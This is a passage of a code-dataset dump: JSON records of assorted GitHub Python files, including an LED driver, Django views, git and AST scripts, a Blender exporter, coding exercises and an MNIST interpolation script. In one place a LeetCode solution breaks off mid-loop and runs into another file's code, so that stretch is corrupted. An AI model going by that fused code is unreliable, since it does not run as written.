filtered_rows.append(row)\n\nwith open(output_filename, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(filtered_rows)\n\nprint('Filtered records have been written to', output_filename)","repo_name":"AJ-Protzel/Personal-Projects","sub_path":"Intel Job Scrapper/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11328194476","text":"from machine import Pin\n\n\nclass TM1639():\n FONT = {\n '0': 0b00111111,\n '1': 0b00000110,\n '2': 0b01011011,\n '3': 0b01001111,\n '4': 0b01100110,\n '5': 0b01101101,\n '6': 0b01111101,\n '7': 0b00000111,\n '8': 0b01111111,\n '9': 0b01101111,\n 'a': 0b01110111,\n 'b': 0b01111100,\n 'c': 0b01011000,\n 'd': 0b01011110,\n 'e': 0b01111001,\n 'f': 0b01110001,\n 'g': 0b01011111,\n 'h': 0b01110100,\n 'i': 0b00010000,\n 'j': 0b00001110,\n 'l': 0b00111000,\n 'n': 0b01010100,\n 'o': 0b01011100,\n 'p': 0b01110011,\n 'r': 0b01010000,\n 's': 0b01101101,\n 't': 0b01111000,\n 'u': 0b00111110,\n 'y': 0b01101110,\n 'C': 0b00111001,\n 'P': 0b01110011,\n 'U': 0b00111110\n }\n\n def __init__(self, dio, clk, stb):\n self.dio = Pin(dio, Pin.OUT)\n self.clk = Pin(clk, Pin.OUT)\n self.stb = Pin(stb, Pin.OUT)\n\n def enable(self, intensity=7):\n self.stb.high()\n self.clk.high()\n\n self.send_command(0x40)\n self.send_command(0x80 | 8 | min(7, intensity))\n\n self.stb.low()\n self.send_byte(0xC0)\n for i in range(16):\n self.send_byte(0x00)\n self.stb.high()\n\n def send_command(self, cmd):\n self.stb.low()\n self.send_byte(cmd)\n self.stb.high()\n\n def send_data(self, addr, data):\n self.send_command(0x44)\n self.stb.low()\n self.send_byte(0xC0 | addr)\n self.send_byte(data)\n self.stb.high()\n\n def send_byte(self, data):\n for i in range(8):\n self.clk.low()\n self.dio.value((data & 1) == 1)\n data >>= 1\n self.clk.high()\n\n def set_led(self, n, color):\n self.send_data((n << 1) + 1, color)\n\n def send_char(self, pos, data, dot=False):\n self.send_data(pos << 1, data | (128 if dot else 0))\n\n def set_digit(self, pos, digit, dot=False):\n for i in range(0, 6):\n self.send_char(i, self.get_bit_mask(pos, digit, i), dot)\n\n def get_bit_mask(self, pos, digit, bit):\n return ((self.FONT[digit] >> bit) & 1) << pos\n\n def set_text(self, text):\n dots = 0b00000000\n pos = text.find('.')\n if pos != -1:\n dots = dots | (128 >> pos + (8 - len(text)))\n text = text.replace('.', '')\n\n self.send_char(7, self.rotate_bits(dots))\n text = text[0:8]\n text = text[::-1]\n text += \" \" * (8 - len(text))\n for i in range(0, 7):\n byte = 0b00000000;\n for pos in range(8):\n c = text[pos]\n if c == 'c':\n byte = (byte | self.get_bit_mask(pos, c, i))\n elif c != ' ':\n byte = (byte | self.get_bit_mask(pos, c, i))\n self.send_char(i, self.rotate_bits(byte))\n\n def receive(self):\n temp = 0\n self.dio.mode(Pin.IN, pull=Pin.PULL_UP)\n for i in range(8):\n temp >>= 1\n self.clk.low()\n if self.dio.value():\n temp |= 0x80\n self.clk.high()\n self.dio.mode(Pin.OUT)\n return temp\n\n def get_buttons(self):\n keys = 0\n self.stb.low()\n self.send_byte(0x42)\n for i in range(4):\n keys |= self.receive() << i\n self.stb.high()\n return keys\n\n def rotate_bits(self, num):\n for i in range(0, 4):\n num = self.rotr(num, 8)\n return num\n\n def rotr(self, num, bits):\n # num &= (2**bits-1)\n num &= ((1 << bits) - 1)\n bit = num & 1\n num >>= 1\n if bit:\n num |= (1 << (bits - 1))\n return num\n def convert(self,src, dst, n):\n count = 0x01\n s = 0x01;\n for i in range(n):\n tmp = src[i]\n for j in range(8):\n if (i < 8):\n index = 2 * j\n else:\n index = 2 * j + 1\n if (tmp & count) == count:\n dst[index] = dst[index] | s\n else:\n dst[index] = dst[index] & (~s)\n if (count == 0x80):\n count = 0x01\n else:\n count <<= 1\n if s == 0x80:\n s = 0x01\n else:\n s <<= 1\n\n","repo_name":"wangminjia/NTPClock","sub_path":"tm1639.py","file_name":"tm1639.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41454085425","text":"from django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.views import generic\n\nfrom .models import Rental, Car, Bike\nfrom django import template\nfrom .forms import CarFilterForm, BikeFilterForm\n\n\n# Create your views here.\ndef index_cars(request):\n params = request.GET\n\n # BUILDING QUERIES\n cars = Car.objects.order_by('model').all()\n data = {\n 'cars' : cars,\n 'active_tab': 'cars',\n }\n\n return render(request, 'rentals/cars_list.html', data)\n\n\ndef car_detail(request, slug):\n car = get_object_or_404(Car, slug=slug)\n\n image_list = car.images.all()\n data = {\n 'car': car,\n 'image_list': image_list,\n }\n\n return render(request, 'rentals/car.html', data)\n\n# class CarDetailView(generic.DetailView):\n# model = Car\n# template_name = 'rentals/car.html'\n\n# def get_queryset(self):\n# slug = self.kwargs.get(self.slug_url_kwarg)\n\n# return Car.objects.select_related('rental').filter(slug=slug)\n\n# BIKES\ndef index_bikes(request):\n params = request.GET\n form = BikeFilterForm(params)\n\n # BUILDING QUERIES\n bikes = Bike.objects.order_by('model').all()\n\n data = {\n 'bikes' : bikes,\n 'active_tab': 'bikes',\n }\n\n return render(request, 'rentals/bikes_list.html', data)\n\n\ndef bike_detail(request, slug):\n bike = get_object_or_404(Bike, slug=slug)\n\n image_list = bike.images.all()\n\n data = {\n 'bike': bike,\n 'image_list': image_list,\n }\n\n return render(request, 'rentals/bike.html', data)\n\n# class BikeDetailView(generic.DetailView):\n# model = Bike\n# template_name = 'rentals/bike.html'\n","repo_name":"sofiaRoum/thesis","sub_path":"rentals/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23971189001","text":"import os\nimport subprocess\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport chardet\n\n\ndef rename_repo(dir):\n files = os.listdir(dir)\n dirs = [file for file in files if os.path.isdir(os.path.join(dir, file))]\n for sub_dir in dirs:\n os.chdir(os.path.join(dir, sub_dir))\n p = subprocess.Popen(['git', 'remote', '-v'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n p.wait()\n stdout = p.stdout.read().decode('utf-8', 'ignore')\n str_list = stdout.split()\n repo = None\n if len(str_list) > 2:\n url = str_list[1]\n if url.startswith('https://github.com/'):\n repo = url[19:-4]\n repo = repo.replace('/', '_')\n elif url.startswith('git://github.com/'):\n repo = url[17:-4]\n repo = repo.replace('/', '_')\n files_updated = os.listdir(dir)\n dirs_updated = [file for file in files if os.path.isdir(\n os.path.join(dir, file))]\n if repo and repo not in dirs_updated:\n print(\"Rename {} to {}\".format(sub_dir, repo))\n os.rename(os.path.join(dir, sub_dir), os.path.join(dir, repo))\n else:\n print(\"Can't rename \" + sub_dir)\n\n\ndef update_repo(dir):\n files = os.listdir(dir)\n dirs = [file for file in files if os.path.isdir(os.path.join(dir, file))]\n for sub_dir in dirs:\n os.chdir(os.path.join(dir, sub_dir))\n p = subprocess.Popen(['git', 'pull'],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = p.communicate()\n print(\"Update {}\".format(sub_dir))\n print(\"stdout----------------\")\n print(stdout.decode('utf-8', 'ignore'))\n print(\"stderr----------------\")\n print(stderr.decode('utf-8', 'ignore'))\n print(\"----------------------\")\n\n\ndef extract_atomic_change(dir):\n files = os.listdir(dir)\n dirs = [file for file in files if os.path.isdir(os.path.join(dir, file))]\n for sub_dir in dirs:\n p = subprocess.Popen(['java', '-Xss128M', '-jar', 'mdiff_2.0.jar', '-ace',\n '-r', os.path.join(dir, sub_dir),\n '-o', '/mnt/data1/kingxu/atomic_changes/{}.json'.format(sub_dir)],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = p.communicate()\n print(\"Process {}\".format(sub_dir))\n print(\"stdout----------------\")\n print(stdout.decode('utf-8', 'ignore'))\n print(\"stderr----------------\")\n print(stderr.decode('utf-8', 'ignore'))\n print(\"----------------------\")\n\n\ndef json_to_dot(json_str, filename):\n ast = json.loads(json_str)\n nn = NodeName()\n dot = DotFile('digraph {')\n root = list(ast.items())\n if len(root) != 1:\n return None\n output_dot(root[0], None, dot, nn)\n dot.append('\\n}')\n print(dot.dot_str)\n dot.write(filename)\n\n\ndef output_dot(root, parent_name, dot, nn):\n parent, child = root\n nd_name = nn.next_node_name()\n dot.append('\\n' + nd_name +\n ' [label=' + json.dumps(parent, ensure_ascii=False) + '];')\n if parent_name is not None:\n dot.append('\\n' + parent_name + ' -> ' + nd_name + ';')\n if isinstance(child, str):\n child_name = nn.next_node_name()\n dot.append('\\n' + child_name +\n ' [label=' + json.dumps(child, ensure_ascii=False) + '];')\n dot.append('\\n' + nd_name + ' -> ' + child_name + ';')\n elif isinstance(child, dict):\n for child in child.items():\n output_dot(child, nd_name, dot, nn)\n elif isinstance(child, list):\n for i in child:\n if isinstance(i, str):\n child_name = nn.next_node_name()\n dot.append('\\n' + child_name +\n ' [label=' + json.dumps(i, ensure_ascii=False) + '];')\n dot.append('\\n' + nd_name + ' -> ' + child_name + ';')\n elif isinstance(i, dict):\n for ii in i.items():\n output_dot(ii, nd_name, dot, nn)\n\n\nclass NodeName():\n def __init__(self):\n self.nodeCount = 0\n\n def next_node_name(self):\n self.nodeCount += 1\n return \"n{}\".format(self.nodeCount)\n\n\nclass DotFile():\n def __init__(self, str):\n self.dot_str = str\n\n def append(self, str):\n self.dot_str += str\n\n def write(self, filename):\n with open(filename, 'w') as f:\n f.write(self.dot_str)\n\n\nclass SBTSequece():\n def __init__(self):\n self.sequence = list()\n\n def append(self, token):\n self.sequence.append(token)\n\n def add_all(self, tokens):\n self.sequence += tokens\n\n def to_str(self):\n return \" \".join(self.sequence)\n\n\ndef output_sbt(root, sbts):\n parent, child = root\n sbts.append('(' + parent)\n if isinstance(child, str):\n sbts.append(child)\n elif isinstance(child, dict):\n for c in child.items():\n output_sbt(c, sbts)\n elif isinstance(child, list):\n for i in child:\n if not isinstance(i, dict):\n print(\"Unexpected structure in AST!\")\n else:\n for ii in i.items():\n output_sbt(ii, sbts)\n sbts.append(')' + parent)\n\n\ndef json2sbt(json_str):\n ast = json.loads(json_str)\n root = list(ast.items())\n if len(root) != 1:\n print(\"Not a AST!\")\n return ''\n sbts = SBTSequece()\n output_sbt(root[0], sbts)\n return sbts.to_str()\n\n\ndef ast_state(json_file):\n atomic_changes = json.load(open(json_file, 'r'))\n state = []\n pruned_state = []\n for i in atomic_changes:\n state.append(i['old_stat'])\n state.append(i['new_stat'])\n pruned_state.append(i['old_psta'])\n pruned_state.append(i['new_psta'])\n leaf_node_state = []\n not_leaf_node_state = []\n max_depth_state = []\n pruned_leaf_node_state = []\n pruned_not_leaf_node_state = []\n pruned_max_depth_state = []\n for i in state:\n states = i.split()\n leaf_node_state.append(int(states[0]))\n not_leaf_node_state.append(int(states[1]))\n max_depth_state.append(int(states[2]))\n for i in pruned_state:\n states = i.split()\n pruned_leaf_node_state.append(int(states[0]))\n pruned_not_leaf_node_state.append(int(states[1]))\n pruned_max_depth_state.append(int(states[2]))\n arrays = [np.array(leaf_node_state), np.array(pruned_leaf_node_state),\n np.array(not_leaf_node_state), np.array(\n pruned_not_leaf_node_state),\n np.array(max_depth_state), np.array(pruned_max_depth_state)]\n fig = plt.figure(figsize=(8, 6))\n plt.boxplot(arrays, notch=False, sym='o', vert=True)\n plt.xticks([x+1 for x in range(len(arrays))],\n ['leaf', 'pruned_leaf', 'not_leaf', 'pruned_not_leaf', 'depth', 'pruned_depth'])\n title = json_file.split('/')[-1][:-5]\n plt.title(title + '({})'.format(len(state)))\n plt.show()\n\n\ndef wrap_ast_state(dir):\n files = os.listdir(dir)\n for f in files:\n file = os.path.join(dir, f)\n ast_state(file)\n\n\ndef random_gen_pic(json_file):\n atomic_changes = json.load(open(json_file, 'r'))\n first_ten = atomic_changes[:10]\n for i in first_ten:\n old_pruned_ast = i['old_past']\n new_pruned_ast = i['new_past']\n old_dot_file = '/Users/kingxu/tmp/dot/{}_{}.dot'.format(i['id'], 'old')\n new_dot_file = '/Users/kingxu/tmp/dot/{}_{}.dot'.format(i['id'], 'new')\n json_to_dot(old_pruned_ast, old_dot_file)\n json_to_dot(new_pruned_ast, new_dot_file)\n old_pdf_file = '/Users/kingxu/tmp/pdf1/{}_{}.pdf'.format(\n i['id'], 'old')\n new_pdf_file = '/Users/kingxu/tmp/pdf1/{}_{}.pdf'.format(\n i['id'], 'new')\n p = subprocess.Popen(['dot', '-Tpdf', old_dot_file, '-o', old_pdf_file],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = p.communicate()\n print(stderr)\n p = subprocess.Popen(['dot', '-Tpdf', new_dot_file, '-o', new_pdf_file],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = p.communicate()\n print(stderr)\n\n\ndef merge_atomic_change(dir):\n files = os.listdir(dir)\n json_files = [file for file in files if file.endswith(\".json\")]\n atomic_changes = []\n content_set = set()\n for file in json_files:\n full_path = os.path.join(dir, file)\n changes = json.load(open(full_path))\n # content_set = set()\n for change in changes:\n # filter out no-ascii message\n if chardet.detect(str.encode(change['message']))['encoding'] != 'ascii':\n continue\n # filter out small message\n if len(change['message'].split(' ')) < 4:\n continue\n # filter out duplicate change\n content = change['message'] + \\\n change['old_code'] + change['new_code']\n if content in content_set:\n continue\n # TODO: filter out big ast\n\n content_set.add(content)\n atomic_changes.append(change)\n print(f'total {len(atomic_changes)} atomic changes!')\n with open('atomic_changes.json', 'w') as f:\n f.write(json.dumps(atomic_changes, indent=4))\n\n\nif __name__ == \"__main__\":\n # rename_repo('/mnt/data1/source_code/')\n # update_repo('/mnt/data1/source_code/')\n # extract_atomic_change('/mnt/data1/source_code')\n # json_to_dot(open('/Users/kingxu/tmp/ast.json').read(), '/Users/kingxu/tmp/method_textblock.dot')\n # ast_state('/Users/kingxu/tmp/atomic_change/hibernate_hibernate-ogm.json')\n # wrap_ast_state('/Users/kingxu/tmp/atomic_change')\n # random_gen_pic('/Users/kingxu/tmp/okhttp_atomic_changes.json')\n merge_atomic_change('/mnt/data1/kingxu/atomic_changes')\n","repo_name":"KingGoldXu/Script","sub_path":"github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":9961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11725332538","text":"from typing import List, Optional, Iterable, Any\r\n# blender\r\nimport bpy\r\nimport mathutils\r\n\r\nfrom .meshstore import MeshStore, Vector3_from_meshVertex, Vector3\r\nfrom . import gltf\r\n\r\n\r\nclass Node:\r\n def __init__(self, name: str, position: mathutils.Vector, parent: Any)->None:\r\n self.name = name\r\n self.position = Vector3_from_meshVertex(position)\r\n self.children: List[Node] = []\r\n self.mesh: Optional[MeshStore] = None\r\n self.skin: Optional[Skin] = None\r\n self.parent = parent\r\n\r\n def get_local_position(self)->Vector3:\r\n if not self.parent:\r\n return self.position\r\n return self.position - self.parent.position\r\n\r\n def __str__(self)->str:\r\n return f'<{self.name}>'\r\n\r\n def traverse(self)->Iterable[Any]:\r\n yield self\r\n\r\n for child in self.children:\r\n for x in child.traverse():\r\n yield x\r\n\r\n\r\nclass Skin:\r\n def __init__(self, root: Node, o: bpy.types.Object)->None:\r\n self.root = root\r\n self.object = o\r\n\r\n\r\nclass GLTFBuilder:\r\n def __init__(self):\r\n self.gltf = gltf.GLTF()\r\n self.indent = ' ' * 2\r\n self.mesh_stores: List[MeshStore] = []\r\n self.nodes: List[Node] = []\r\n self.root_nodes: List[Node] = []\r\n self.skins: List[Skin] = []\r\n\r\n def export_bone(self, parent: Node, matrix_world: mathutils.Matrix, bone: bpy.types.Bone)->Node:\r\n node = Node(bone.name, bone.head_local, parent)\r\n self.nodes.append(node)\r\n\r\n for child in bone.children:\r\n child_node = self.export_bone(node, matrix_world, child)\r\n node.children.append(child_node)\r\n\r\n return node\r\n\r\n def get_or_create_skin(self, node: Node, armature_object: bpy.types.Object)->Skin:\r\n for skin in self.skins:\r\n if skin.object == armature_object:\r\n return skin\r\n\r\n skin = Skin(node, armature_object)\r\n self.skins.append(skin)\r\n\r\n armature = armature_object.data\r\n for b in armature.bones:\r\n if not b.parent:\r\n root_bone = self.export_bone(node, armature_object.matrix_world, b)\r\n node.children.append(root_bone)\r\n\r\n return skin\r\n\r\n def export_objects(self, objects: List[bpy.types.Object]):\r\n for o in objects:\r\n root_node = self.export_object(None, o)\r\n self.root_nodes.append(root_node)\r\n\r\n def export_object(self, parent: Optional[Node], o: bpy.types.Object, indent: str='')->Node:\r\n node = Node(o.name, o.matrix_world.to_translation(), parent)\r\n self.nodes.append(node)\r\n\r\n # only mesh\r\n if o.type == 'MESH':\r\n\r\n # copy\r\n new_obj = o.copy()\r\n new_obj.data = o.data.copy()\r\n bpy.data.scenes[0].objects.link(new_obj)\r\n\r\n mesh = new_obj.data\r\n\r\n # apply modifiers\r\n for m in new_obj.modifiers:\r\n if m.type == 'ARMATURE':\r\n # skin\r\n node.skin = self.get_or_create_skin(node, m.object)\r\n\r\n # export\r\n bone_names = [\r\n b.name for b in node.skin.object.data.bones] if node.skin else []\r\n node.mesh = self.export_mesh(mesh, o.vertex_groups, bone_names)\r\n\r\n elif o.type == 'ARMATURE':\r\n skin = self.get_or_create_skin(node, o)\r\n\r\n for child in o.children:\r\n child_node = self.export_object(node, child, indent+self.indent)\r\n node.children.append(child_node)\r\n\r\n return node\r\n\r\n def export_mesh(self, mesh: bpy.types.Mesh, vertex_groups: List[bpy.types.VertexGroup], bone_names: List[str])->MeshStore:\r\n\r\n def get_texture_layer(layers):\r\n for l in layers:\r\n if l.active:\r\n return l\r\n\r\n mesh.update(calc_tessface=True)\r\n uv_texture_faces = get_texture_layer(mesh.tessface_uv_textures)\r\n store = MeshStore(mesh.name, mesh.vertices,\r\n mesh.materials, vertex_groups, bone_names)\r\n for i, face in enumerate(mesh.tessfaces):\r\n submesh = store.get_or_create_submesh(face.material_index)\r\n for triangle in store.add_face(face, uv_texture_faces.data[i] if uv_texture_faces else None):\r\n for fv in triangle:\r\n submesh.indices.append(fv)\r\n\r\n self.mesh_stores.append(store)\r\n return store\r\n\r\n def get_skin_for_store(self, store: MeshStore)->Optional[Skin]:\r\n for node in self.nodes:\r\n if node.mesh == store:\r\n return node.skin\r\n return None\r\n","repo_name":"ousttrue/io_scene_yup","sub_path":"gltfbuilder.py","file_name":"gltfbuilder.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"72963694623","text":"from django.shortcuts import render, redirect\r\nfrom django.views import generic, View\r\nfrom django.http import JsonResponse\r\nfrom django.urls import reverse\r\n\r\n\r\nfrom .models import *\r\nfrom .forms import *\r\n\r\n\r\n# Create your views here.\r\nclass IndexView(generic.ListView):\r\n model = EventCreation\r\n template_name = 'backend/index.html'\r\n \r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n\r\n context['events'] = EventCreation.objects.filter(is_active=True)\r\n return context\r\n\r\n\r\nclass CreateEventView(generic.CreateView):\r\n model = EventCreation\r\n template_name = 'backend/create_event.html'\r\n\r\n def get(self, request):\r\n form = EventCreationForm()\r\n return render(request, self.template_name, {'form': form})\r\n\r\n def post(self, request):\r\n form = EventCreationForm(request.POST)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('/')\r\n return render(request, self.template_name, {'form': form})\r\n \r\n\r\nclass EventDetailView(generic.DetailView):\r\n model = EventCreation\r\n template_name = 'backend/event_detail.html'\r\n slug_field = 'link'\r\n slug_url_kwarg = 'link'\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super().get_context_data(**kwargs)\r\n context['available_slots'] = self.object.available_slots()\r\n return context\r\n\r\n def post(self, request, *args, **kwargs):\r\n event = self.get_object()\r\n available_slots = event.available_slots()\r\n\r\n if available_slots > 0:\r\n # Get the selected slot data from the POST request\r\n start_time = request.POST.get('start_time')\r\n end_time = request.POST.get('end_time')\r\n\r\n # Check if the slot is already booked\r\n if event.is_slot_booked(start_time, end_time):\r\n # Handle the case when the slot is already booked\r\n print(\"Slot is already booked.\")\r\n else:\r\n # Book the slot\r\n event.booked_slots += 1\r\n event.save()\r\n\r\n # Create a BookedSlot instance\r\n booked_slot = BookedSlot(event=event, start_time=start_time, end_time=end_time)\r\n booked_slot.save()\r\n\r\n return redirect(reverse('backend:event-detail', args=[event.link]))\r\n else:\r\n # Handle the case when no available slots are left\r\n print(\"No more available slots.\")\r\n\r\n return render(request, self.template_name, {'object': event, 'available_slots': available_slots})\r\n\r\n\r\nclass EventBookedSlotsView(View):\r\n def get(self, request, link):\r\n try:\r\n event = EventCreation.objects.get(link=link)\r\n booked_slots = BookedSlot.objects.filter(event=event)\r\n\r\n booked_slots_data = []\r\n for slot in booked_slots:\r\n booked_slots_data.append({\r\n 'start_time': slot.start_time.isoformat(),\r\n 'end_time': slot.end_time.isoformat(),\r\n })\r\n\r\n return JsonResponse({'booked_slots': booked_slots_data})\r\n\r\n except EventCreation.DoesNotExist:\r\n return JsonResponse({'error': 'Event not found'}, status=404)\r\n\r\n except Exception as e:\r\n return JsonResponse({'error': str(e)}, status=500)\r\n","repo_name":"Umang-Kumar/event_scheduler","sub_path":"calendlyDemo/backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3385,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"22576937741","text":"from db.bookstore import createbook\nfrom db.models import Book\nimport uuid\n\ndef run():\n book = Book(\n id=str(uuid.uuid4()),\n title=\"Call of Cthulhu\",\n author=\"Alejandro Universe\",\n description=\"My universal struggle with Gods\")\n\n myBook = createbook(book)\n\n print(myBook)\n","repo_name":"s2-t2/grafana-sqlite","sub_path":"src/app/app_main.py","file_name":"app_main.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41303622905","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 15 17:57:41 2022\n\n@author: By237Fact\n\"\"\"\n# Manipulation basique des tuples\n\n# t1 = (2,6,8,4)\n\n# print(len(t1))\n# t1[1]\n\n# print(t1[-2:])\n\n# # erreur car les tuples sont en lecture seule\n# # t1[-1] = 10\n\n# print(t1*2)\n\n# # tuples d'objets hétérogènes\n# t2 = (3.6,\"Toto\",True,t1,34.1)\n# print(t2)\n\n# # tuples de tuples\n# x = ((1,3,4),(5,4,0),(5))\n# print(x[0])\n\n# Manipulation des listes\n# l1 = [2,4,5,8,10,25, 15]\n# l1.append(22)\n# print(l1)\n# l1.insert(0, 10)\n# print(l1)\n# # suppresion de l'élément n°3\n# del l1[1]\n# print(\"Avant pop\")\n# print(l1)\n# print(\"exemple après pop\")\n# l1.pop(1)\n# print(l1)\n\n# l1.reverse()\n# print(l1)\n\n# l1.extend(l1)\n# print(l1)\n\n# # Creation par compréhension\n# source = range(1,15)\n# resultat = [v*v for v in source]\n# print(resultat)\n\n# # Creation par comprehension 2\n# resultat2 = [v**2 for v in source if(v%2==0)]\n# print(resultat2)\n\n# import numpy as np\n# import matplotlib.pyplot as plt\n\n# x = np.linspace(start=0, stop=4*np.pi, num = 1000)\n# y = [np.cos(a) for a in x]\n\n# plt.plot(x,y)\n# plt.show()\n\n# # Manipulation des chaines de caractères\n\n# s1 = \"hello world!\"\n# bjr = list(s1)\n# print(bjr)\n\n# decoupe = s1.split(\"!\")\n# print(decoupe)\n\n\n# # Manipulation des dictionnaires\n# d = {('c1','c8'):2, 'c2':15, 'c3':71, 'c4':112, 'c5':\"papa\", 'c6':\"strlen\"}\n# print(len(d))\n\n# print(d.keys())\n# print(d.values())\n\n# d[\"c1\"]=\"Papa\"\n# print(d)\n\nn = int(input(\"Nombre d'items :\"))\n# dictionnaire vide\ndico= {}\n\n# saisie\nfor i in range(0,n):\n cle = \"Cle \"+str(i)\n valeur = 12*i\n dico[cle] = valeur\n \n\nfor (k,v) in dico.items():\n print(k,': ',v)\n \n# somme des valeurs\ns = 0 \nfor v in dico.values():\n s = s + v\nprint(s)","repo_name":"The237/pythonCodesISJS","sub_path":"tuplesListsDicts.py","file_name":"tuplesListsDicts.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11462325854","text":"# TopDown 1, \ndef mincostTickets(days, costs):\n memo = {} # Not even a 2d Memo\n def dfs(i,day):\n if i==len(days):\n return 0\n if day>days[i]: # This here is special, we use this to keep iterating above\n return dfs(i+1,day)\n if i in memo:\n return memo[i]\n \n # buy 1-day\n a = costs[0] + dfs(i+1, days[i]+1)\n \n # buy 7-day \n b = costs[1] + dfs(i+1, days[i]+7)\n \n # buy 30-day \n c = costs[2] + dfs(i+1, days[i]+30)\n \n memo[i] = min(a,b,c)\n return min(a,b,c)\n return dfs(0,0)\n\n# The other way to do this is to interatie inside until we above.\ndef mincostTickets(days, costs):\n memo = {} # Not even a 2d Memo\n def dfs(i):\n if i>=len(days):\n return 0\n if i in memo:\n return memo[i]\n \n # buy 1-day\n j=i+1\n while j str:\n\n n = len(dominoes)\n force = [0] * n\n f = 0\n\n # LTR\n for i in range(n):\n if dominoes[i] == \"R\":\n f = n\n elif dominoes[i] == \"L\":\n f = 0\n else:\n f = max(f-1, 0)\n force[i] = f\n\n # RTL\n for i in reverse_range(n):\n if dominoes[i] == \"L\":\n f = n\n elif dominoes[i] == \"R\":\n f = 0\n else:\n f = max(f-1, 0)\n force[i] -= f\n\n result = []\n\n # Result\n for i in range(n):\n if force[i] > 0:\n result.append('R')\n elif force[i] < 0:\n result.append('L')\n else:\n result.append('.')\n\n return \"\".join(result)\n\n\ndef reverse_range(n):\n return range(n-1, -1, -1)\n\n\nprint(Solution().pushDominoes(\".L.R...LR..L..\"))\n","repo_name":"fmaylinch/algorithms","sub_path":"src/main/python/algorithms/exercises/PushDominoes.py","file_name":"PushDominoes.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"75115772704","text":"\nimport sys\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom util import Datamanager, CNN\nimport numpy as np\nimport argparse\nassert torch and nn and Variable and np and argparse\n\n\nEPOCH = 30\nBATCH_SIZE = 1024\n############################################################\n# reading data #\n############################################################\ndm=Datamanager()\nprint('reading data...',end='')\nsys.stdout.flush()\ndm.get_Mnist('mnist',BATCH_SIZE)\nprint('\\rreading data...finish')\n############################################################\n# training #\n############################################################\n\ncnn1 = CNN().cuda()\ncnn2 = CNN().cuda()\n\n'''\n#print(cnn)\ncnn1.load_state_dict(torch.load('weights/64'))\nparams1 = cnn1.named_parameters()\ncnn2.load_state_dict(torch.load('weights/1024'))\n#params2 = cnn2.named_parameters()\ndict_params2 = dict(params2)\nbeta_list = [0.3,0.5,0.7,0.9,-1,2]\nfor beta in beta_list:\n cnn = CNN().cuda()\n print(beta)\n dict_params2 = dict(params2)\n for name1, param1 in params1:\n if name1 in dict_params2:\n dict_params2[name1].data = (beta*param1.data + (1-beta)*dict_params2[name1].data)\n cnn.load_state_dict(dict_params2)\n dm.val(cnn,'Val',dm.data['mnist'][1])\n #dict_params2.clear()\n '''\n\ncnn1=torch.load('weights/64')\ncnn2=torch.load('weights/1024')\nout={}\nbeta_list = np.linspace(-1,2,300)\nprint(beta_list)\ncnn_list=[]\nloss_list=[]\naccu_list=[]\ntrain_record=[]\ntest_record=[]\nfor beta in beta_list:\n for i in cnn1:\n out[i]=cnn1[i]*beta + cnn2[i]*(1-beta)\n cnn_tmp=CNN().cuda()\n cnn_tmp.load_state_dict(out)\n print(beta)\n train_record.append(dm.val(cnn_tmp,'Train',dm.data['mnist'][0]))\n test_record.append(dm.val(cnn_tmp,'Val',dm.data['mnist'][1]))\n print()\n #loss,accu=dm.val(cnn_tmp,'Val',dm.data['mnist'][1])\n #loss_list.append(loss)\n #accu_list.append(accu)\n\nnp.save('./record/train.npy',np.array(train_record))\nnp.save('./record/val.npy',np.array(test_record))\n","repo_name":"onedayatatime0923/MLDS","sub_path":"hw1/1-3/1-3-3-1/interpolation.py","file_name":"interpolation.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73364522783","text":"\nfrom PIL import Image\nimport pytesseract\nimport numpy as np\nimport cv2\n\nimage = cv2.imread('blue_period.jpg')\n#image = cv2.imread('bluelock.jpg')\nimg=image\nimg_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) #Convert the image to grayscale\nheight, width, channel = image.shape #If channel=3, colour image. If 1, gray image\nprint(\"height \",height, \"width \",width, \"channel \",channel )\n\n\n\nret, thresh = cv2.threshold(img_gray, 127, 255, 0)\n\"\"\"\nThreshold the image. Thresholding is a technique used to convert a grayscale image into a binary image. \nThe threshold function sets all pixel values above a certain threshold value to white and all pixel \nvalues below the threshold value to black.\n\n127: The threshold value. Pixels with values below this threshold will be set to black, \nand pixels with values above this threshold will be set to white.\n255: The maximum value to use for the output binary image.\ncv2.THRESH_BINARY: 